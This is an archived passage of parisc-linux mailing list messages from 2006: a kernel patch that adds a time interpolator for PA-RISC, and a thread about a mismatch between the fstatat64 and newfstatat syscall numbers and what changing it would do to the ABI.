> > To make my implementation work, I changed some "u64" variables/struct members in the "struct time_interpolator" in include/linux/timex.h  to "cycles_t" instead.
> > "cycles_t" is defined in include/asm/timex.h mostly as "unsigned long", which is what the default platform width is (e.g. 64bit on 64bit platforms) and get_cycles() is exactly the input-value for the time interpolation framework.
> > As such I think it just makes sense to use this type as well all over the code.
> > For PARISC this chage gives 8bytes on HPPA64 and 4bytes on HPPA32, and so we can use the current implementation with the cmpxchg() in kernel/timer.c.
> > 
> > What do you think ?
> > Will this be acceptable by Linus/others ?
> > It works on my 32bit hppa.
> > 
> > Patch is here:

 arch/parisc/Kconfig       |    4 +
 arch/parisc/kernel/time.c |  151 ++++++++++------------------------------------
 include/linux/timex.h     |    4 -
 kernel/timer.c            |    4 -
 4 files changed, 42 insertions(+), 121 deletions(-)


diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 848a67a..e85c931 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -50,6 +50,10 @@ config GENERIC_CALIBRATE_DELAY
 	bool
 	default y
 
+config TIME_INTERPOLATION
+	bool
+	default y
+
 config TIME_LOW_RES
 	bool
 	depends on SMP
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index bad7d1e..896057f 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -34,6 +34,27 @@
 
 static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
 
+static struct time_interpolator mfctl16_interpolator = {
+	.shift = 16,
+	.mask = 0UL-1,
+	.source = TIME_SOURCE_CPU
+};
+
+
+static int nojitter;
+
+static int __init nojitter_setup(char *str)
+{
+	nojitter = 1;
+	printk("Jitter checking for ctl16 timers disabled\n");
+	return 1;
+}
+
+__setup("nojitter", nojitter_setup);
+
+
+
+
 /*
  * We keep time on PA-RISC Linux by using the Interval Timer which is
  * a pair of registers; one is read-only and one is write-only; both
@@ -172,121 +193,6 @@ unsigned long profile_pc(struct pt_regs 
 EXPORT_SYMBOL(profile_pc);
 
 
-/*
- * Return the number of micro-seconds that elapsed since the last
- * update to wall time (aka xtime).  The xtime_lock
- * must be at least read-locked when calling this routine.
- */
-static inline unsigned long gettimeoffset (void)
-{
-#ifndef CONFIG_SMP
-	/*
-	 * FIXME: This won't work on smp because jiffies are updated by cpu 0.
-	 *    Once parisc-linux learns the cr16 difference between processors,
-	 *    this could be made to work.
-	 */
-	unsigned long now;
-	unsigned long prev_tick;
-	unsigned long next_tick;
-	unsigned long elapsed_cycles;
-	unsigned long usec;
-	unsigned long cpuid = smp_processor_id();
-	unsigned long cpt = clocktick;
-
-	next_tick = cpu_data[cpuid].it_value;
-	now = mfctl(16);	/* Read the hardware interval timer.  */
-
-	prev_tick = next_tick - cpt;
-
-	/* Assume Scenario 1: "now" is later than prev_tick.  */
-	elapsed_cycles = now - prev_tick;
-
-/* aproximate HZ with shifts. Intended math is "(elapsed/clocktick) > HZ" */
-#if HZ == 1000
-	if (elapsed_cycles > (cpt << 10) )
-#elif HZ == 250
-	if (elapsed_cycles > (cpt << 8) )
-#elif HZ == 100
-	if (elapsed_cycles > (cpt << 7) )
-#else
-#warn WTF is HZ set to anyway?
-	if (elapsed_cycles > (HZ * cpt) )
-#endif
-	{
-		/* Scenario 3: clock ticks are missing. */
-		printk (KERN_CRIT "gettimeoffset(CPU %ld): missing %ld ticks!"
-			" cycles %lX prev/now/next %lX/%lX/%lX  clock %lX\n",
-			cpuid, elapsed_cycles / cpt,
-			elapsed_cycles, prev_tick, now, next_tick, cpt);
-	}
-
-	/* FIXME: Can we improve the precision? Not with PAGE0. */
-	usec = (elapsed_cycles * 10000) / PAGE0->mem_10msec;
-	return usec;
-#else
-	return 0;
-#endif
-}
-
-void
-do_gettimeofday (struct timeval *tv)
-{
-	unsigned long flags, seq, usec, sec;
-
-	/* Hold xtime_lock and adjust timeval.  */
-	do {
-		seq = read_seqbegin_irqsave(&xtime_lock, flags);
-		usec = gettimeoffset();
-		sec = xtime.tv_sec;
-		usec += (xtime.tv_nsec / 1000);
-	} while (read_seqretry_irqrestore(&xtime_lock, seq, flags));
-
-	/* Move adjusted usec's into sec's.  */
-	while (usec >= USEC_PER_SEC) {
-		usec -= USEC_PER_SEC;
-		++sec;
-	}
-
-	/* Return adjusted result.  */
-	tv->tv_sec = sec;
-	tv->tv_usec = usec;
-}
-
-EXPORT_SYMBOL(do_gettimeofday);
-
-int
-do_settimeofday (struct timespec *tv)
-{
-	time_t wtm_sec, sec = tv->tv_sec;
-	long wtm_nsec, nsec = tv->tv_nsec;
-
-	if ((unsigned long)tv->tv_nsec >= NSEC_PER_SEC)
-		return -EINVAL;
-
-	write_seqlock_irq(&xtime_lock);
-	{
-		/*
-		 * This is revolting. We need to set "xtime"
-		 * correctly. However, the value in this location is
-		 * the value at the most recent update of wall time.
-		 * Discover what correction gettimeofday would have
-		 * done, and then undo it!
-		 */
-		nsec -= gettimeoffset() * 1000;
-
-		wtm_sec  = wall_to_monotonic.tv_sec + (xtime.tv_sec - sec);
-		wtm_nsec = wall_to_monotonic.tv_nsec + (xtime.tv_nsec - nsec);
-
-		set_normalized_timespec(&xtime, sec, nsec);
-		set_normalized_timespec(&wall_to_monotonic, wtm_sec, wtm_nsec);
-
-		ntp_clear();
-	}
-	write_sequnlock_irq(&xtime_lock);
-	clock_was_set();
-	return 0;
-}
-EXPORT_SYMBOL(do_settimeofday);
 
 /*
  * XXX: We can do better than this.
@@ -323,13 +229,24 @@ void __init time_init(void)
 		write_seqlock_irqsave(&xtime_lock, flags);
 		xtime.tv_sec = tod_data.tod_sec;
 		xtime.tv_nsec = tod_data.tod_usec * 1000;
-		set_normalized_timespec(&wall_to_monotonic,
-		                        -xtime.tv_sec, -xtime.tv_nsec);
 		write_sequnlock_irqrestore(&xtime_lock, flags);
 	} else {
 		printk(KERN_ERR "Error reading tod clock\n");
 	        xtime.tv_sec = 0;
 		xtime.tv_nsec = 0;
 	}
+
+	mfctl16_interpolator.frequency = 100* PAGE0->mem_10msec;
+	mfctl16_interpolator.drift = -1;
+#ifdef CONFIG_SMP
+	if (!nojitter) mfctl16_interpolator.jitter = 1;
+#endif
+	register_time_interpolator(&mfctl16_interpolator);
+
+	/*
+	 * Initialize wall_to_monotonic such that adding it to xtime will yield zero, the
+	 * tv_nsec field must be normalized (i.e., 0 <= nsec < NSEC_PER_SEC).
+	 */
+	set_normalized_timespec(&wall_to_monotonic, -xtime.tv_sec, -xtime.tv_nsec);
 }
 
diff --git a/include/linux/timex.h b/include/linux/timex.h
index db501dc..9a24e50 100644
--- a/include/linux/timex.h
+++ b/include/linux/timex.h
@@ -255,10 +255,10 @@ struct time_interpolator {
 	u8 jitter;			/* if set compensate for fluctuations */
 	u32 nsec_per_cyc;		/* set by register_time_interpolator() */
 	void *addr;			/* address of counter or function */
-	u64 mask;			/* mask the valid bits of the counter */
+	cycles_t mask;			/* mask the valid bits of the counter */
 	unsigned long offset;		/* nsec offset at last update of interpolator */
 	u64 last_counter;		/* counter value in units of the counter at last update */
-	u64 last_cycle;			/* Last timer value if TIME_SOURCE_JITTER is set */
+	cycles_t last_cycle;		/* Last timer value if TIME_SOURCE_JITTER is set */
 	u64 frequency;			/* frequency in counts/second */
 	long drift;			/* drift in parts-per-million (or -1) */
 	unsigned long skips;		/* skips forward */
diff --git a/kernel/timer.c b/kernel/timer.c
index feddf81..75ac078 100644
--- a/kernel/timer.c
+++ b/kernel/timer.c
@@ -1625,7 +1625,7 @@ struct time_interpolator *time_interpola
 static struct time_interpolator *time_interpolator_list __read_mostly;
 static DEFINE_SPINLOCK(time_interpolator_lock);
 
-static inline u64 time_interpolator_get_cycles(unsigned int src)
+static inline cycles_t time_interpolator_get_cycles(unsigned int src)
 {
 	unsigned long (*x)(void);
 
@@ -1652,7 +1652,7 @@ static inline u64 time_interpolator_get_
 	if (time_interpolator->jitter)
 	{
 		u64 lcycle;
-		u64 now;
+		cycles_t now;
 
 		do {
 			lcycle = time_interpolator->last_cycle;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fstatat64 and newfstatat syscalls
Date: Sat, 23 Dec 2006 00:49:41 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <200612230049.41484.deller__10694.0290461809$1416624239$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624239 21876 80.91.229.3 (22 Nov 2014 02:43:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Dec 2006 23:50:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 23 Dec 2006 00:50:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC5577D903;
	Fri, 22 Dec 2006 16:49:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26452-04; Fri, 22 Dec 2006 16:49:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB99A7D8FA;
	Fri, 22 Dec 2006 16:49:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 549347D8E7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Dec 2006 16:49:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26293-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Dec 2006 16:49:46 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 583577D8D8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Dec 2006 16:49:46 -0700 (MST)
Original-Received: (qmail invoked by alias); 22 Dec 2006 23:49:45 -0000
Original-Received: from mnhm-590c2360.pool.einsundeins.de (EHLO p100.box) [89.12.35.96]
	by mail.gmx.net (mp054) with SMTP; 23 Dec 2006 00:49:45 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ele6DP0YQEVsAujDZnVpqklKNzg2NYJE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24167

Hi Grant,

I think we have some wrong assignments with above $TOPIC syscalls.

I found this mail and CVS patch from you:
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2006-February/036543.html
http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/syscall_table.S.diff?cvsroot=&r1=1.22&r2=1.23

but currently we have:
arch/parisc/kernel/syscall_table.S:		ENTRY_SAME(fstatat64)           /* 280 */
while in:
include/asm-parisc/unistd.h:			#define __NR_newfstatat         (__NR_Linux + 280)

Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fstatat64 and newfstatat syscalls
Date: Sat, 23 Dec 2006 00:54:34 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <200612230054.34497.deller__33089.2980484807$1416624239$gmane$org@gmx.de>
References: <200612230049.41484.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624239 21887 80.91.229.3 (22 Nov 2014 02:43:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Dec 2006 23:54:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 23 Dec 2006 00:54:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE5F97D90B;
	Fri, 22 Dec 2006 16:54:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26741-01; Fri, 22 Dec 2006 16:54:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B2DC7D91E;
	Fri, 22 Dec 2006 16:54:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1FC57D8FF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Dec 2006 16:54:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26456-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Dec 2006 16:54:37 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E2C527D8F3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Dec 2006 16:54:36 -0700 (MST)
Original-Received: (qmail invoked by alias); 22 Dec 2006 23:54:36 -0000
Original-Received: from mnhm-590c2360.pool.einsundeins.de (EHLO p100.box) [89.12.35.96]
	by mail.gmx.net (mp037) with SMTP; 23 Dec 2006 00:54:36 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612230049.41484.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GwTpNdk+ZCEXX7GPamwhgGVwIGhpZcby
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24168

On Sat Dec 23 2006, Helge Deller wrote:
> Hi Grant,
> 
> I think we have some wrong assignments with above $TOPIC syscalls.
> 
> I found this mail and CVS patch from you:
> http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2006-February/036543.html
> http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/syscall_table.S.diff?cvsroot=&r1=1.22&r2=1.23
> 
> but currently we have:
> arch/parisc/kernel/syscall_table.S:		ENTRY_SAME(fstatat64)           /* 280 */
> while in:
> include/asm-parisc/unistd.h:			#define __NR_newfstatat         (__NR_Linux + 280)

I think the right solution is to change current line in unistd.h to this:
include/asm-parisc/unistd.h:			#define __NR_fstatat64         (__NR_Linux + 280)

The fstatat testcase from LTP passes with then this change as well...

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fstatat64 and newfstatat syscalls
Date: Sun, 24 Dec 2006 13:19:59 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <5b2e36650612241019i7ad750a7v6c26a722972e09e1__43922.1276705668$1416624239$gmane$org@mail.gmail.com>
References: <200612230049.41484.deller@gmx.de>
	 <200612230054.34497.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624239 21891 80.91.229.3 (22 Nov 2014 02:43:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <jbailey@raspberryginger.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Dec 2006 18:20:00 -0000
Original-Received: from wx-out-0506.google.com (EHLO wx-out-0506.google.com) [66.249.82.227]
  by mx0.gmx.net (mx063) with SMTP; 24 Dec 2006 19:20:00 +0100
Original-Received: by wx-out-0506.google.com with SMTP id i27so3665494wxd
        for <deller@gmx.de>; Sun, 24 Dec 2006 10:19:59 -0800 (PST)
Original-Received: by 10.90.31.19 with SMTP id e19mr10359207age.1166984399731;
        Sun, 24 Dec 2006 10:19:59 -0800 (PST)
Original-Received: by 10.90.31.6 with HTTP; Sun, 24 Dec 2006 10:19:59 -0800 (PST)
In-Reply-To: <200612230054.34497.deller@gmx.de>
Content-Disposition: inline
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t6DmCI4+bHIyX63NNjQ0iGwqJihyapCx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24169

On 22/12/06, Helge Deller <deller@gmx.de> wrote:
> > but currently we have:
> > arch/parisc/kernel/syscall_table.S:           ENTRY_SAME(fstatat64)           /* 280 */
> > while in:
> > include/asm-parisc/unistd.h:                  #define __NR_newfstatat         (__NR_Linux + 280)
>
> I think the right solution is to change current line in unistd.h to this:
> include/asm-parisc/unistd.h:                    #define __NR_fstatat64         (__NR_Linux + 280)

Umm, isn't this a public ABI change?  would it be better to assign a
new syscall number and cope correctly with the old one?

I'm wondering what this means to things that are already compiled...

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fstatat64 and newfstatat syscalls
Date: Sun, 24 Dec 2006 14:08:43 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20061224190843.GE8504__46568.8493488871$1416624240$gmane$org@athena.road.mcmartin.ca>
References: <200612230049.41484.deller@gmx.de> <200612230054.34497.deller@gmx.de> <5b2e36650612241019i7ad750a7v6c26a722972e09e1@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624240 21895 80.91.229.3 (22 Nov 2014 02:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:00 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Dec 2006 19:08:45 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx043) with SMTP; 24 Dec 2006 20:08:45 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id BD1C258409F;
	Sun, 24 Dec 2006 14:08:43 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4B62B584099;
	Sun, 24 Dec 2006 14:08:43 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 887B8837DB;
	Sun, 24 Dec 2006 14:08:43 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id D09CC3B06E; Sun, 24 Dec 2006 14:08:43 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <5b2e36650612241019i7ad750a7v6c26a722972e09e1@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CuK3fYVqYW0+VLuGbmZprjB0amthcxuj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24170

On Sun, Dec 24, 2006 at 01:19:59PM -0500, Jeff Bailey wrote:
> 
> Umm, isn't this a public ABI change?  would it be better to assign a
> new syscall number and cope correctly with the old one?
> 

Meh. I doubt it will be a problem.



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fstatat64 and newfstatat syscalls
Date: Sat, 23 Dec 2006 20:40:18 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20061224034018.GB24131__46644.4992380731$1416624240$gmane$org@colo.lackof.org>
References: <200612230049.41484.deller@gmx.de> <200612230054.34497.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624240 21897 80.91.229.3 (22 Nov 2014 02:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Dec 2006 03:40:22 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx063) with SMTP; 24 Dec 2006 04:40:22 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1496A3D83C3;
	Sat, 23 Dec 2006 20:40:20 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26207-09; Sat, 23 Dec 2006 20:40:18 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 420D43D83AC; Sat, 23 Dec 2006 20:40:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200612230054.34497.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lMG/dIZ3Iyd1EvqQe2drSM1aa2FkZpX5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24171

On Sat, Dec 23, 2006 at 12:54:34AM +0100, Helge Deller wrote:
> On Sat Dec 23 2006, Helge Deller wrote:
> > Hi Grant,
> > 
> > I think we have some wrong assignments with above $TOPIC syscalls.
> > 
> > I found this mail and CVS patch from you:
> > http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2006-February/036543.html

Yeah - I wasn't that confident in that change.  My main goal was to get the build
working again. I didn't have any way to prove it was correct.

